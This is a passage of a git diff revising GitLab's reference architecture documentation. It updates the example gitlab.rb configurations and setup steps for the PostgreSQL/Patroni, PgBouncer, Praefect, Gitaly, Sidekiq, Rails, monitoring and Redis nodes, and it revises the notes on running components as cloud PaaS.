for the changes to take effect. @@ -895,22 +918,7 @@ are supported and can be added if needed. #### PostgreSQL post-configuration -SSH in to the **primary node**: - -1. Open a database prompt: - - ```shell - gitlab-psql -d gitlabhq_production - ``` - -1. Enable the `pg_trgm` and `btree_gist` extensions: - - ```shell - CREATE EXTENSION pg_trgm; - CREATE EXTENSION btree_gist; - ``` - -1. Exit the database prompt by typing `\q` and Enter. +SSH in to any of the Patroni nodes on the **primary site**: 1. Check the status of the leader and cluster: @@ -952,7 +960,7 @@ The following IPs will be used as an example: ```ruby # Disable all components except Pgbouncer and Consul agent - roles ['pgbouncer_role'] + roles(['pgbouncer_role']) # Configure PgBouncer pgbouncer['admin_users'] = %w(pgbouncer gitlab-consul) @@ -969,7 +977,6 @@ The following IPs will be used as an example: # Configure Consul agent consul['watchers'] = %w(postgresql) - consul['enable'] = true consul['configuration'] = { retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13) } @@ -982,6 +989,9 @@ The following IPs will be used as an example: pgbouncer_exporter['listen_address'] = '0.0.0.0:9188' ``` +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. + 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. 1. Create a `.pgpass` file so Consul is able to @@ -1097,9 +1107,7 @@ in the second step, do not supply the `EXTERNAL_URL` value. ```ruby # Disable all components except PostgreSQL and Consul - roles ['postgres_role'] - repmgr['enable'] = false - patroni['enable'] = false + roles(['postgres_role', 'consul_role']) # PostgreSQL configuration postgresql['listen_address'] = '0.0.0.0' @@ -1109,7 +1117,6 @@ in the second step, do not supply the `EXTERNAL_URL` value. gitlab_rails['auto_migrate'] = false # Configure the Consul agent - consul['enable'] = true ## Enable service discovery for Prometheus consul['monitoring_service_discovery'] = true @@ -1135,6 +1142,9 @@ in the second step, do not supply the `EXTERNAL_URL` value. # END user configuration ``` +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. + 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. 1. Follow the [post configuration](#praefect-postgresql-post-configuration). @@ -1213,7 +1223,7 @@ Praefect requires several secret tokens to secure communications across the Clus Gitaly Cluster nodes are configured in Praefect via a `virtual storage`. Each storage contains the details of each Gitaly node that makes up the cluster. Each storage is also given a name -and this name is used in several areas of the config. In this guide, the name of the storage will be +and this name is used in several areas of the configuration. In this guide, the name of the storage will be `default`. Also, this guide is geared towards new installs, if upgrading an existing environment to use Gitaly Cluster, you may need to use a different name. Refer to the [Praefect documentation](../gitaly/praefect.md#praefect) for more info. @@ -1233,19 +1243,18 @@ To configure the Praefect nodes, on each one: 1. Edit the `/etc/gitlab/gitlab.rb` file to configure Praefect: ```ruby - # Avoid running unnecessary services on the Gitaly server + # Avoid running unnecessary services on the Praefect server + gitaly['enable'] = false postgresql['enable'] = false redis['enable'] = false - nginx['enable'] = false puma['enable'] = false - unicorn['enable'] = false sidekiq['enable'] = false gitlab_workhorse['enable'] = false - grafana['enable'] = false - - # If you run a separate monitoring node you can disable these services - alertmanager['enable'] = false prometheus['enable'] = false + alertmanager['enable'] = false + grafana['enable'] = false + gitlab_exporter['enable'] = false + nginx['enable'] = false # Praefect Configuration praefect['enable'] = true @@ -1283,19 +1292,20 @@ To configure the Praefect nodes, on each one: # server ('praefect') and in git_data_dirs on Gitaly nodes ('gitaly-1') praefect['virtual_storages'] = { 'default' => { - 'gitaly-1' => { - 'address' => 'tcp://10.6.0.91:8075', - 'token' => '<praefect_internal_token>', - 'primary' => true - }, - 'gitaly-2' => { - 'address' => 'tcp://10.6.0.92:8075', - 'token' => '<praefect_internal_token>' - }, - 'gitaly-3' => { - 'address' => 'tcp://10.6.0.93:8075', - 'token' => '<praefect_internal_token>' - }, + 'nodes' => { + 'gitaly-1' => { + 'address' => 'tcp://10.6.0.91:8075', + 'token' => '<praefect_internal_token>' + }, + 'gitaly-2' => { + 'address' => 'tcp://10.6.0.92:8075', + 'token' => '<praefect_internal_token>' + }, + 'gitaly-3' => { + 'address' => 'tcp://10.6.0.93:8075', + 'token' => '<praefect_internal_token>' + }, + } } } @@ -1312,11 +1322,25 @@ To configure the Praefect nodes, on each one: # END user configuration ``` - 1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and - then replace the file of the same name on this server. If that file isn't on - this server, add the file from your Consul server to this server. +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace +the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. - 1. Save the file, and then [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). +1. Praefect requires to run some database migrations, much like the main GitLab application. For this + you should select **one Praefect node only to run the migrations**, AKA the _Deploy Node_. This node + must be configured first before the others as follows: + + 1. In the `/etc/gitlab/gitlab.rb` file, change the `praefect['auto_migrate']` setting value from `false` to `true` + + 1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run: + + ```shell + sudo touch /etc/gitlab/skip-auto-reconfigure + ``` + + 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect and + to run the Praefect database migrations. + +1. On all other Praefect nodes, [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. ### Configure Gitaly @@ -1360,29 +1384,27 @@ On each node: storage paths, enable the network listener, and to configure the token: ```ruby - # /etc/gitlab/gitlab.rb - # Avoid running unnecessary services on the Gitaly server postgresql['enable'] = false redis['enable'] = false - nginx['enable'] = false puma['enable'] = false - unicorn['enable'] = false sidekiq['enable'] = false gitlab_workhorse['enable'] = false - grafana['enable'] = false - - # If you run a separate monitoring node you can disable these services - alertmanager['enable'] = false prometheus['enable'] = false + alertmanager['enable'] = false + grafana['enable'] = false + gitlab_exporter['enable'] = false + nginx['enable'] = false # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false + # Gitaly + gitaly['enable'] = true + # Configure the gitlab-shell API callback URL. Without this, `git push` will # fail. This can be your 'front door' GitLab URL or an internal load # balancer. - # Don't forget to copy `/etc/gitlab/gitlab-secrets.json` from web server to Gitaly server. gitlab_rails['internal_api_url'] = 'https://gitlab.example.com' # Make Gitaly accept connections on all network interfaces. You must use @@ -1426,9 +1448,8 @@ On each node: }) ``` -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and - then replace the file of the same name on this server. If that file isn't on - this server, add the file from your Consul server to this server. +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. 1. Save the file, and then [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). @@ -1537,29 +1558,19 @@ To configure the Sidekiq nodes, one each one: 1. Open `/etc/gitlab/gitlab.rb` with your editor: ```ruby - ######################################## - ##### Services Disabled ### - ######################################## - - nginx['enable'] = false - grafana['enable'] = false - prometheus['enable'] = false - alertmanager['enable'] = false + # Avoid running unnecessary services on the Sidekiq server gitaly['enable'] = false - gitlab_workhorse['enable'] = false - nginx['enable'] = false - puma['enable'] = false - postgres_exporter['enable'] = false postgresql['enable'] = false redis['enable'] = false - redis_exporter['enable'] = false + puma['enable'] = false + gitlab_workhorse['enable'] = false + prometheus['enable'] = false + alertmanager['enable'] = false + grafana['enable'] = false gitlab_exporter['enable'] = false + nginx['enable'] = false - ######################################## - #### Redis ### - ######################################## - - ## Must be the same in every sentinel node + # Redis redis['master_name'] = 'gitlab-redis' ## The same password for Redis authentication you set up for the master node. @@ -1572,13 +1583,10 @@ To configure the Sidekiq nodes, one each one: {'host' => '10.6.0.13', 'port' => 26379}, ] - ####################################### - ### Gitaly ### - ####################################### - - # git_data_dirs get configured for the Praefect virtual storage - # Address is Internal Load Balancer for Praefect - # Token is praefect_external_token + # Gitaly Cluster + ## git_data_dirs get configured for the Praefect virtual storage + ## Address is Internal Load Balancer for Praefect + ## Token is praefect_external_token git_data_dirs({ "default" => { "gitaly_address" => "tcp://10.6.0.40:2305", # internal load balancer IP @@ -1586,31 +1594,26 @@ To configure the Sidekiq nodes, one each one: } }) - ####################################### - ### Postgres ### - ####################################### + # PostgreSQL gitlab_rails['db_host'] = '10.6.0.40' # internal load balancer IP gitlab_rails['db_port'] = 6432 gitlab_rails['db_password'] = '<postgresql_user_password>' gitlab_rails['db_adapter'] = 'postgresql' gitlab_rails['db_encoding'] = 'unicode' - # Prevent database migrations from running on upgrade automatically + ## Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false - ####################################### - ### Sidekiq configuration ### - ####################################### + # Sidekiq + sidekiq['enable'] = true sidekiq['listen_address'] = "0.0.0.0" - # Set number of Sidekiq queue processes to the same number as available CPUs + ## Set number of Sidekiq queue processes to the same number as available CPUs sidekiq['queue_groups'] = ['*'] * 2 - # Set number of Sidekiq threads per queue process to the recommend number of 10 + ## Set number of Sidekiq threads per queue process to the recommend number of 10 sidekiq['max_concurrency'] = 10 - ####################################### - ### Monitoring configuration ### - ####################################### + # Monitoring consul['enable'] = true consul['monitoring_service_discovery'] = true @@ -1618,19 +1621,16 @@ To configure the Sidekiq nodes, one each one: retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13) } - # Set the network addresses that the exporters will listen on + ## Set the network addresses that the exporters will listen on node_exporter['listen_address'] = '0.0.0.0:9100' - # Rails Status for prometheus + ## Add the monitoring node's IP address to the monitoring whitelist gitlab_rails['monitoring_whitelist'] = ['10.6.0.81/32', '127.0.0.0/8'] gitlab_rails['prometheus_address'] = '10.6.0.81:9090' - ############################# - ### Object storage ### - ############################# - - # This is an example for configuring Object Storage on GCP - # Replace this config with your chosen Object Storage provider as desired + # Object Storage + ## This is an example for configuring Object Storage on GCP + ## Replace this config with your chosen Object Storage provider as desired gitlab_rails['object_store']['connection'] = { 'provider' => 'Google', 'google_project' => '<gcp-project-name>', @@ -1644,9 +1644,28 @@ To configure the Sidekiq nodes, one each one: gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = "<gcp-dependency-proxy-bucket-name>" gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = "<gcp-terraform-state-bucket-name>" + gitlab_rails['backup_upload_connection'] = { + 'provider' => 'Google', + 'google_project' => '<gcp-project-name>', + 'google_json_key_location' => '<path-to-gcp-service-account-key>' + } + gitlab_rails['backup_upload_remote_directory'] = "<gcp-backups-state-bucket-name>" ``` +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. + +1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run: + + ```shell + sudo touch /etc/gitlab/skip-auto-reconfigure + ``` + + Only a single designated node should handle migrations as detailed in the + [GitLab Rails post-configuration](#gitlab-rails-post-configuration) section. + 1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). + 1. Verify the GitLab services are running: ```shell @@ -1728,7 +1747,7 @@ On each node perform the following: }) ## Disable components that will not be on the GitLab application server - roles ['application_role'] + roles(['application_role']) gitaly['enable'] = false nginx['enable'] = true sidekiq['enable'] = false @@ -1793,10 +1812,7 @@ On each node perform the following: #registry['uid'] = 9002 #registry['gid'] = 9002 - ############################# - ### Object storage ### - ############################# - + # Object storage # This is an example for configuring Object Storage on GCP # Replace this config with your chosen Object Storage provider as desired gitlab_rails['object_store']['connection'] = { @@ -1811,6 +1827,13 @@ On each node perform the following: gitlab_rails['object_store']['objects']['packages']['bucket'] = "<gcp-packages-bucket-name>" gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = "<gcp-dependency-proxy-bucket-name>" gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = "<gcp-terraform-state-bucket-name>" + + gitlab_rails['backup_upload_connection'] = { + 'provider' => 'Google', + 'google_project' => '<gcp-project-name>', + 'google_json_key_location' => '<path-to-gcp-service-account-key>' + } + gitlab_rails['backup_upload_remote_directory'] = "<gcp-backups-state-bucket-name>" ``` 1. If you're using [Gitaly with TLS support](#gitaly-cluster-tls-support), make sure the @@ -1831,7 +1854,20 @@ On each node perform the following: sudo cp cert.pem /etc/gitlab/trusted-certs/ ``` -1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. + +1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run: + + ```shell + sudo touch /etc/gitlab/skip-auto-reconfigure + ``` + + Only a single designated node should handle migrations as detailed in the + [GitLab Rails post-configuration](#gitlab-rails-post-configuration) section. + +1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. + 1. Run `sudo gitlab-rake gitlab:gitaly:check` to confirm the node can connect to Gitaly. 1. Tail the logs to see the requests: @@ -1839,11 +1875,6 @@ On each node perform the following: sudo gitlab-ctl tail gitaly ``` -1. Save the `/etc/gitlab/gitlab-secrets.json` file from one of the two - application nodes and install it on the other application node, the - [Gitaly node](#configure-gitaly) and the [Sidekiq node](#configure-sidekiq) and - [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). - 1. Verify the GitLab services are running: ```shell @@ -1902,45 +1933,26 @@ running [Prometheus](../monitoring/prometheus/index.md) and 1. Edit `/etc/gitlab/gitlab.rb` and add the contents: ```ruby - external_url 'http://gitlab.example.com' + roles(['monitoring_role', 'consul_role']) - # Disable all other services - alertmanager['enable'] = false - gitaly['enable'] = false - gitlab_exporter['enable'] = false - gitlab_workhorse['enable'] = false - nginx['enable'] = true - postgres_exporter['enable'] = false - postgresql['enable'] = false - redis['enable'] = false - redis_exporter['enable'] = false - sidekiq['enable'] = false - puma['enable'] = false - unicorn['enable'] = false - node_exporter['enable'] = false - gitlab_exporter['enable'] = false + external_url 'http://gitlab.example.com' - # Enable Prometheus - prometheus['enable'] = true + # Prometheus prometheus['listen_address'] = '0.0.0.0:9090' prometheus['monitor_kubernetes'] = false - # Enable Login form - grafana['disable_login_form'] = false - - # Enable Grafana - grafana['enable'] = true + # Grafana grafana['admin_password'] = '<grafana_password>' + grafana['disable_login_form'] = false # Enable service discovery for Prometheus - consul['enable'] = true consul['monitoring_service_discovery'] = true consul['configuration'] = { retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13) } - # Prevent database migrations from running on upgrade automatically - gitlab_rails['auto_migrate'] = false + # Nginx - For Grafana access + nginx['enable'] = true ``` 1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). @@ -2074,7 +2086,7 @@ but with smaller performance requirements, several modifications can be consider - PostgreSQL: Can be run on reputable Cloud PaaS solutions such as Google Cloud SQL or AWS RDS. In this setup, the PgBouncer and Consul nodes are no longer required: - Consul may still be desired if [Prometheus](../monitoring/prometheus/index.md) auto discovery is a requirement, otherwise you would need to [manually add scrape configurations](../monitoring/prometheus/index.md#adding-custom-scrape-configurations) for all nodes. - As Redis Sentinel runs on the same box as Consul in this architecture, it may need to be run on a separate box if Redis is still being run via Omnibus. - - Redis: Can be run on reputable Cloud PaaS solutions such as Google Memorystore and AWS Elasticache. In this setup, the Redis Sentinel is no longer required. + - Redis: Can be run on reputable Cloud PaaS solutions such as Google Memorystore and AWS ElastiCache. In this setup, the Redis Sentinel is no longer required. <div align="right"> <a type="button" class="btn btn-default" href="#setup-components"> diff --git a/doc/administration/reference_architectures/50k_users.md b/doc/administration/reference_architectures/50k_users.md index 5cc463c953d..b3324cb75fb 100644 --- a/doc/administration/reference_architectures/50k_users.md +++ b/doc/administration/reference_architectures/50k_users.md @@ -17,29 +17,34 @@ full list of reference architectures, see | Service | Nodes | Configuration | GCP | AWS | Azure | |------------------------------------------|-------------|-------------------------|------------------|---------------|-----------| -| External load balancing node | 1 | 8 vCPU, 7.2 GB memory | `n1-highcpu-8` | `c5.2xlarge` | `F8s v2` | -| Consul* | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | -| PostgreSQL* | 3 | 32 vCPU, 120 GB memory | `n1-standard-32` | `m5.8xlarge` | `D32s v3` | -| PgBouncer* | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | -| Internal load balancing node | 1 | 8 vCPU, 7.2 GB memory | `n1-highcpu-8` | `c5.2xlarge` | `F8s v2` | -| Redis - Cache** | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` | -| Redis - Queues / Shared State** | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` | -| Redis Sentinel - Cache** | 3 | 1 vCPU, 3.75 GB memory | `n1-standard-1` | `c5.large` | `A1 v2` | -| Redis Sentinel - Queues / Shared State** | 3 | 1 vCPU, 3.75 GB memory | `n1-standard-1` | `c5.large` | `A1 v2` | +| External load balancing node(3) | 1 | 8 vCPU, 7.2 GB memory | `n1-highcpu-8` | `c5.2xlarge` | `F8s v2` | +| Consul(1) | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | +| PostgreSQL(1) | 3 | 32 vCPU, 120 GB memory | `n1-standard-32` | `m5.8xlarge` | `D32s v3` | +| PgBouncer(1) | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | +| Internal load balancing node(3) | 1 | 8 vCPU, 7.2 GB memory | `n1-highcpu-8` | `c5.2xlarge` | `F8s v2` | +| Redis - Cache(2) | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` | +| Redis - Queues / Shared State(2) | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` | +| Redis Sentinel - Cache(2) | 3 | 1 vCPU, 3.75 GB memory | `n1-standard-1` | `c5.large` | `A1 v2` | +| Redis Sentinel - Queues / Shared State(2)| 3 | 1 vCPU, 3.75 GB memory | `n1-standard-1` | `c5.large` | `A1 v2` | | Gitaly | 3 | 64 vCPU, 240 GB memory | `n1-standard-64` | `m5.16xlarge` | `D64s v3` | | Praefect | 3 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` | -| Praefect PostgreSQL* | 1+ | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | +| Praefect PostgreSQL(1) | 1+ | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | | Sidekiq | 4 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` | | GitLab Rails | 12 | 32 vCPU, 28.8 GB memory | `n1-highcpu-32` | `c5.9xlarge` | `F32s v2` | | Monitoring node | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` | -| Object storage | n/a | n/a | n/a | n/a | n/a | -| NFS server | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` | +| Object storage(4) | n/a | n/a | n/a | n/a | n/a | +| NFS server (optional, not recommended) | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` | + +<!-- Disable ordered list rule https://github.com/DavidAnson/markdownlint/blob/main/doc/Rules.md#md029---ordered-list-item-prefix --> +<!-- markdownlint-disable MD029 --> +1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work, however Azure Database for PostgreSQL is [not recommended](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61) due to performance issues. Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery. +2. Can be optionally run on reputable third-party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work. +3. Can be optionally run on reputable third-party load balancing services (LB PaaS). AWS ELB is known to work. +4. Should be run on reputable third party object storage (storage PaaS) for cloud implementations. Google Cloud Storage and AWS S3 are known to work. +<!-- markdownlint-enable MD029 --> NOTE: -Components marked with * can be optionally run on reputable -third party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work. -Components marked with ** can be optionally run on reputable -third party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work. +For all PaaS solutions that involve configuring instances, it is strongly recommended to implement a minimum of three nodes in three different availability zones to align with resilient cloud architecture practices. ```plantuml @startuml 50k @@ -157,7 +162,7 @@ To set up GitLab and its components to accommodate up to 50,000 users: provides access to the Git repositories. 1. [Configure Sidekiq](#configure-sidekiq). 1. [Configure the main GitLab Rails application](#configure-gitlab-rails) - to run Puma/Unicorn, Workhorse, GitLab Shell, and to serve all frontend + to run Puma, Workhorse, GitLab Shell, and to serve all frontend requests (which include UI, API, and Git over HTTP/SSH). 1. [Configure Prometheus](#configure-prometheus) to monitor your GitLab environment. @@ -420,11 +425,6 @@ The following IPs will be used as an example: - `10.6.0.12`: Consul 2 - `10.6.0.13`: Consul 3 -NOTE: -The configuration processes for the other servers in your reference architecture will -use the `/etc/gitlab/gitlab-secrets.json` file from your Consul server to connect -with the other servers. - To configure Consul: 1. SSH in to the server that will host Consul. @@ -435,10 +435,9 @@ To configure Consul: 1. Edit `/etc/gitlab/gitlab.rb` and add the contents: ```ruby - roles ['consul_role'] + roles(['consul_role']) ## Enable service discovery for Prometheus - consul['enable'] = true consul['monitoring_service_discovery'] = true ## The IPs of the Consul server nodes @@ -455,7 +454,11 @@ To configure Consul: gitlab_rails['auto_migrate'] = false ``` +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. + 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. + 1. Go through the steps again for all the other Consul nodes, and make sure you set up the correct IPs. @@ -547,6 +550,15 @@ in the second step, do not supply the `EXTERNAL_URL` value. sudo gitlab-ctl pg-password-md5 pgbouncer ``` +1. Generate a password hash for the PostgreSQL replication username/password pair. This assumes you will use the default + username of `gitlab_replicator` (recommended). The command will request a password + and a confirmation. Use the value that is output by this command in the next step + as the value of `<postgresql_replication_password_hash>`: + + ```shell + sudo gitlab-ctl pg-password-md5 gitlab_replicator + ``` + 1. Generate a password hash for the Consul database username/password pair. This assumes you will use the default username of `gitlab-consul` (recommended). The command will request a password and confirmation. Use the value that is output by this command in the next @@ -559,19 +571,21 @@ in the second step, do not supply the `EXTERNAL_URL` value. 1. On every database node, edit `/etc/gitlab/gitlab.rb` replacing values noted in the `# START user configuration` section: ```ruby - # Disable all components except PostgreSQL, Patroni, and Consul - roles ['postgres_role'] + # Disable all components except Patroni and Consul + roles(['patroni_role']) # PostgreSQL configuration postgresql['listen_address'] = '0.0.0.0' - # Enable Patroni - patroni['enable'] = true - # Set `max_wal_senders` to one more than the number of database nodes in the cluster. + # Sets `max_replication_slots` to double the number of database nodes. + # Patroni uses one extra slot per node when initiating the replication. + patroni['postgresql']['max_replication_slots'] = 8 + + # Set `max_wal_senders` to one more than the number of replication slots in the cluster. # This is used to prevent replication from using up all of the # available database connections. - patroni['postgresql']['max_wal_senders'] = 4 - patroni['postgresql']['max_replication_slots'] = 4 + patroni['postgresql']['max_wal_senders'] = 9 + # Incoming recommended value for max connections is 500. See https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5691. patroni['postgresql']['max_connections'] = 500 @@ -589,6 +603,8 @@ in the second step, do not supply the `EXTERNAL_URL` value. # # Replace PGBOUNCER_PASSWORD_HASH with a generated md5 value postgresql['pgbouncer_user_password'] = '<pgbouncer_password_hash>' + # Replace POSTGRESQL_REPLICATION_PASSWORD_HASH with a generated md5 value + postgresql['sql_replication_password'] = '<postgresql_replication_password_hash>' # Replace POSTGRESQL_PASSWORD_HASH with a generated md5 value postgresql['sql_user_password'] = '<postgresql_password_hash>' @@ -612,9 +628,8 @@ PostgreSQL, with Patroni managing its failover, will default to use `pg_rewind` Like most failover handling methods, this has a small chance of leading to data loss. Learn more about the various [Patroni replication methods](../postgresql/replication_and_failover.md#selecting-the-appropriate-patroni-replication-method). -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace - the file of the same name on this server. If that file is not on this server, - add the file from your Consul server to this server. +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. @@ -629,21 +644,7 @@ are supported and can be added if needed. #### PostgreSQL post-configuration -SSH in to the **primary node**: - -1. Open a database prompt: - - ```shell - gitlab-psql -d gitlabhq_production - ``` - -1. Make sure the `pg_trgm` extension is enabled (it might already be): - - ```shell - CREATE EXTENSION pg_trgm; - ``` - -1. Exit the database prompt by typing `\q` and Enter. +SSH in to any of the Patroni nodes on the **primary site**: 1. Check the status of the leader and cluster: @@ -685,7 +686,7 @@ The following IPs will be used as an example: ```ruby # Disable all components except Pgbouncer and Consul agent - roles ['pgbouncer_role'] + roles(['pgbouncer_role']) # Configure PgBouncer pgbouncer['admin_users'] = %w(pgbouncer gitlab-consul) @@ -702,7 +703,6 @@ The following IPs will be used as an example: # Configure Consul agent consul['watchers'] = %w(postgresql) - consul['enable'] = true consul['configuration'] = { retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13) } @@ -714,9 +714,8 @@ The following IPs will be used as an example: node_exporter['listen_address'] = '0.0.0.0:9100' ``` -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace - the file of the same name on this server. If that file is not on this server, - add the file from your Consul server to this server. +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. @@ -835,8 +834,8 @@ a node and change its status from primary to replica (and vice versa). 1. Edit `/etc/gitlab/gitlab.rb` and add the contents: ```ruby - # Specify server role as 'redis_master_role' - roles ['redis_master_role'] + # Specify server role as 'redis_master_role' and enable Consul agent + roles(['redis_master_role', 'consul_role']) # IP address pointing to a local IP that the other machines can reach to. # You can also set bind to '0.0.0.0' which listen in all interfaces. @@ -858,7 +857,6 @@ a node and change its status from primary to replica (and vice versa). redis['maxmemory_samples'] = 5 ## Enable service discovery for Prometheus - consul['enable'] = true consul['monitoring_service_discovery'] = true ## The IPs of the Consul server nodes @@ -870,19 +868,22 @@ a node and change its status from primary to replica (and vice versa). # Set the network addresses that the exporters will listen on node_exporter['listen_address'] = '0.0.0.0:9100' redis_exporter['listen_address'] = '0.0.0.0:9121' - + redis_exporter['flags'] = { + 'redis.addr' => 'redis://10.6.0.51:6379', + 'redis.password' => 'redis-password-goes-here', + } + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ``` -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace - the file of the same name on this server. If that file is not on this server, - add the file from your Consul server to this server. +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. You can specify multiple roles, like sentinel and Redis, as: -`roles ['redis_sentinel_role', 'redis_master_role']`. Read more about +`roles(['redis_sentinel_role', 'redis_master_role'])`. Read more about [roles](https://docs.gitlab.com/omnibus/roles/). #### Configure the replica Redis Cache nodes @@ -895,8 +896,8 @@ You can specify multiple roles, like sentinel and Redis, as: 1. Edit `/etc/gitlab/gitlab.rb` and add the contents: ```ruby - # Specify server role as 'redis_replica_role' - roles ['redis_replica_role'] + # Specify server role as 'redis_replica_role' and enable Consul agent + roles(['redis_replica_role', 'consul_role']) # IP address pointing to a local IP that the other machines can reach to. # You can also set bind to '0.0.0.0' which listen in all interfaces. @@ -925,7 +926,6 @@ You can specify multiple roles, like sentinel and Redis, as: redis['maxmemory_samples'] = 5 ## Enable service discovery for Prometheus - consul['enable'] = true consul['monitoring_service_discovery'] = true ## The IPs of the Consul server nodes @@ -937,21 +937,25 @@ You can specify multiple roles, like sentinel and Redis, as: # Set the network addresses that the exporters will listen on node_exporter['listen_address'] = '0.0.0.0:9100' redis_exporter['listen_address'] = '0.0.0.0:9121' + redis_exporter['flags'] = { + 'redis.addr' => 'redis://10.6.0.52:6379', + 'redis.password' => 'redis-password-goes-here', + } # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ``` -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace - the file of the same name on this server. If that file is not on this server, - add the file from your Consul server to this server. +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. + 1. Go through the steps again for all the other replica nodes, and make sure to set up the IPs correctly. You can specify multiple roles, like sentinel and Redis, as: -`roles ['redis_sentinel_role', 'redis_master_role']`. Read more about +`roles(['redis_sentinel_role', 'redis_master_role'])`. Read more about [roles](https://docs.gitlab.com/omnibus/roles/). These values don't have to 